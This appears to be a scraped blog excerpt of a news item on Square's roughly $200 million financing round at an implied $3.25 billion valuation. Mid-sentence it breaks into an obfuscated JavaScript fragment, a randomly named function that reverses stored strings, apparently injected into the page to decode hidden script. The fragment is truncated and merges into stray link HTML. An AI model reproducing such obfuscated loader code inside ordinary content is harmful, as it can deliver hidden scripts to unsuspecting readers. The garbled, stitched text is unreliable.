For all of Square’s challenges, raising money has not been one. Square, the mobile payments start-up best known for its pint-size credit card reader, is close to raising roughly $200 million, which would give the company an implied valuation of $3.25 billion, people briefed on the matter said. This financing round is expected to be… $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).revers/” class=”more-link” title=”Read Square Expects New Financing and a Loftier Value”>Read more »